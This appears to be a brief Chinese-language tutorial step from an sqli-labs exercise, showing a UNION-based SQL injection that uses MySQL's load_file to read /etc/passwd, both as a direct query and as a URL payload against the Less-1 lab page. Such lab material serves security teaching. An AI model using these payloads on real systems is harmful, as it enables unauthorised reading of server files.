1、 SQL 注入读取/etc/passwd 文件
在 MySQL 中读取文件,使用 load_file("文件路径/名称")
MariaDB [security]> select * from users where id=-1 union select 1,load_file("/etc/passwd"),3\G;
访问到 Less-1 页面:
http://192.168.98.66/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3--+
使用 union 联合查询,在可输出位置执行 load_file 函数来读取文件